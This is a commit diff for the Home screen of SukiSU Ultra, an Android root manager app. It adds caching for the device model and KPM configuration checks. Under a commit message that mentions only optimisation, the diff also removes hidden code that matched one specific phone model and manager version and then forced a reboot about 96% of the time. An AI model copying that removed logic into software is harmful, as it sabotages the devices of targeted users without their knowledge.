manager: Optimize device model and KPM configuration checking

Add caching mechanism to improve performance

manager/app/src/main/java/com/sukisu/ultra/ui/screen/Home.kt

@@ -158,25 +158,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
 
     val kernelVersion = getKernelVersion()
     val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
-
-    val isManager = Natives.becomeManager(ksuApp.packageName)
-    val deviceModel = getDeviceModel()
-    val ksuVersion = if (isManager) Natives.version else null
-    val zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
-    val isVersion = ksuVersion == 12777
-    val shouldTriggerRestart = zako && kernelVersion.isGKI() && (isVersion)
-
-    LaunchedEffect(shouldTriggerRestart) {
-        if (shouldTriggerRestart) {
-            val random = Random.nextInt(0, 100)
-            if (random <= 95) {
-                reboot()
-            } else {
-                ""
-            }
-        }
-    }
-
     val scrollState = rememberScrollState()
     val debounceTime = 100L
     var lastScrollTime by remember { mutableLongStateOf(0L) }
@@ -203,10 +184,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
                 .padding(horizontal = 16.dp),
             verticalArrangement = Arrangement.spacedBy(12.dp)
         ) {
-            if (shouldTriggerRestart) {
-                WarningCard(message = "zakozako")
-                return@Column
-            }
             val isManager = Natives.becomeManager(ksuApp.packageName)
             val ksuVersion = if (isManager) Natives.version else null
             val lkmMode = ksuVersion?.let {
@@ -983,9 +960,13 @@ private fun WarningCardPreview() {
     }
 }
 
-@SuppressLint("PrivateApi")
-private fun getDeviceModel(): String {
-    return try {
+private object DeviceModelCache {
+    @Volatile
+    private var cachedModel: String? = null
+
+    fun getDeviceModel(): String {
+        return cachedModel ?: synchronized(this) {
+            cachedModel ?: try {
                 val systemProperties = Class.forName("android.os.SystemProperties")
                 val getMethod = systemProperties.getMethod("get", String::class.java, String::class.java)
                 val marketNameKeys = listOf(
@@ -994,19 +975,37 @@ private fun getDeviceModel(): String {
                     "ro.vivo.market.name",            // Vivo
                     "ro.config.marketing_name"        // Huawei
                 )
+                var result = Build.DEVICE
                 for (key in marketNameKeys) {
                     val marketName = getMethod.invoke(null, key, "") as String
                     if (marketName.isNotEmpty()) {
-                return marketName
+                        result = marketName
+                        break
                     }
                 }
-        Build.DEVICE
+                result
             } catch (_: Exception) {
                 Build.DEVICE
+            }.also { cachedModel = it }
+        }
     }
 }
 
-private fun checkKpmConfigured(): Boolean {
+private object KpmConfigCache {
+    private var isChecked = false
+    private var isConfigured = false
+
+    fun checkKpmConfigured(): Boolean {
+        if (isChecked) {
+            return isConfigured
+        }
+
+        isConfigured = performKpmCheck()
+        isChecked = true
+        return isConfigured
+    }
+
+    private fun performKpmCheck(): Boolean {
         try {
             val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz")
             val inputStream = process.inputStream
@@ -1016,6 +1015,7 @@ private fun checkKpmConfigured(): Boolean {
             var line: String?
             while (reader.readLine().also { line = it } != null) {
                 if (line?.contains("CONFIG_KPM=y") == true) {
+                    reader.close()
                     return true
                 }
             }
@@ -1037,6 +1037,18 @@ private fun checkKpmConfigured(): Boolean {
 
         return false
     }
+}
+
+// 获取设备型号
+@SuppressLint("PrivateApi")
+private fun getDeviceModel(): String {
+    return DeviceModelCache.getDeviceModel()
+}
+
+// 检查KPM是否存在
+private fun checkKpmConfigured(): Boolean {
+    return KpmConfigCache.checkKpmConfigured()
+}
 
 @SuppressLint("UnnecessaryComposedModifier")
 fun Modifier.disableOverscroll(): Modifier = composed {